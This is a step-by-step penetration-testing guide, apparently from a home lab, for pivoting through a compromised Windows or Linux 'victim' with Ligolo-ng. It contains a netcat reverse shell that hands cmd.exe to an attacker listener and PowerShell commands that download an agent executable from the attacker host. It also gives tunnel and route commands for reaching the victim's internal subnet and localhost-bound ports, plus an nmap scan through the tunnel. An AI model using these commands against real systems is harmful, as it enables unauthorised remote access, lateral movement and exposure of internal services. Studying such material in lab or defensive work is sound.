Ligolo Setup Guide

We got Agent and proxy :--

1. Proxy ⇒ Kali Linux [ Local pc ]
2. Agent ⇒ Target machines [ Victim ]

Symbols & Notations

• $ : Turbo User (Non-root user on attacker machine)
• # : Root User (root user on attacker machine)
• C:> : Target Machine (Windows)
• @ : Reverse Shell of Windows in Attacker End
• ## : Ligolo-Proxy-Server

1 - Place nc Binary on Target Machine

Using a Python HTTP server:

┌──(turbo㉿kali)-[/opt/Static\ Binaries/Windows\ Binaries]
└─$ python -m http.server 80

Access the server from the target machine:

http://192.168.1.13

---

2 - Get a Reverse Shell

Start a listener on port 443:

$ nc -nlvp 443

On the target machine, run:

C:\> nc64.exe 192.168.1.13 443 -e cmd.exe

After executing this, the reverse shell will be active on the attacker’s listener.

---

3 - Transfer Ligolo Agent to Target Machine

Start a Python HTTP server:

┌──(turbo㉿kali)-[/opt/Static\ Binaries/Ligolo_ng/win]
└─$ python -m http.server 80

On the reverse shell, download the agent:

@ powershell Invoke-WebRequest "http://192.168.1.13/agent.exe" -OutFile "C:\Users\Public\agent.exe"

Alternative method:

@ iwr -uri http://192.168.45.13/agent.exe -Outfile agent.exe

Or manually visit:

http://192.168.1.13

---

4 - Start Ligolo Proxy Server on Attacker Machine

Run the following as root: Run on Attacker Box (Kali) with root User (192.168.1.13)

• Create the Ligolo tunnel interface on the attacker system

# ip tuntap add user turbo mode tun ligolo

• Created Ligolo tunnel interface to active

# ip link set ligolo up

# cd /opt/Static\ Binaries/Ligolo_ng/win

# chmod +x proxy

Start the local proxy server:

# ./proxy -selfcert -laddr 0.0.0.0:80

Other Method

# ligolo-proxy -selfcert -laddr 0.0.0.0:80

---

5 - Start Ligolo Agent on Target Machine

On Windows

@ agent.exe -connect 192.168.1.13:80 -ignore-cert

On Linux

@ agent -connect 192.168.1.13:80 -ignore-cert

---

6 - Configure Network Routing on Attacker Machine

Check agent session:

## ligolo-ng » session

## [Agent : root@webserver] » ifconfig

Add an internal network route:

# ip route add 192.168.2.0/24 dev ligolo

Verify routes:

# route -n
# ip route

Check active tunnels:

## [Agent : root@webserver] » tunnel_list

Start the Added network in Proxy-Server

## [Agent : root@webserver] » start

---

7 - Visit Services from Attacker Machine

• http://192.168.1.20 - Bind in port 80 Apache page

• http://192.168.2.10 - Bind to site2

  

• http://127.0.0.1 - Binnd to site1

---

8 - Access Agent’s Local Ports ( 127.0.0.1 )

Link :- https://github.com/nicocha30/ligolo-ng/wiki/Localhost

If you need to access the local ports of the currently connected agent, there's a "magic" CIDR hardcoded in Ligolo-ng: 240.0.0.0/4 This is an unused IPv4 subnet. If you query an IP address on this subnet, Ligolo- ng will automatically redirect traffic to the agent's local IP address (127.0.0.1).

# ip route add 240.0.0.1/32 dev ligolo

# ip route

Visit from the attacker machine:

http://240.0.0.1

Scan the network:

# nmap -v -p- -sT 240.0.0.1

⇒ When we Scan inside the Target Machine withthe help of this ip (240.0.0.1) Port no 80 Open

⇒ When we Scan Outside of the Target Machine withthe help of ip ( 192.168.1.20 ) Port no 80 Open

========================================================

Firewall in windows :-

In inbound Rule Block port no 80 which is not listning in nmap output ----

⇒ Port no 80 Block By Firewall they can't show in nmap output :--

⇒ port no 80 is show in local host Binding 127.0.0.1 [ 240.0.0.1 ]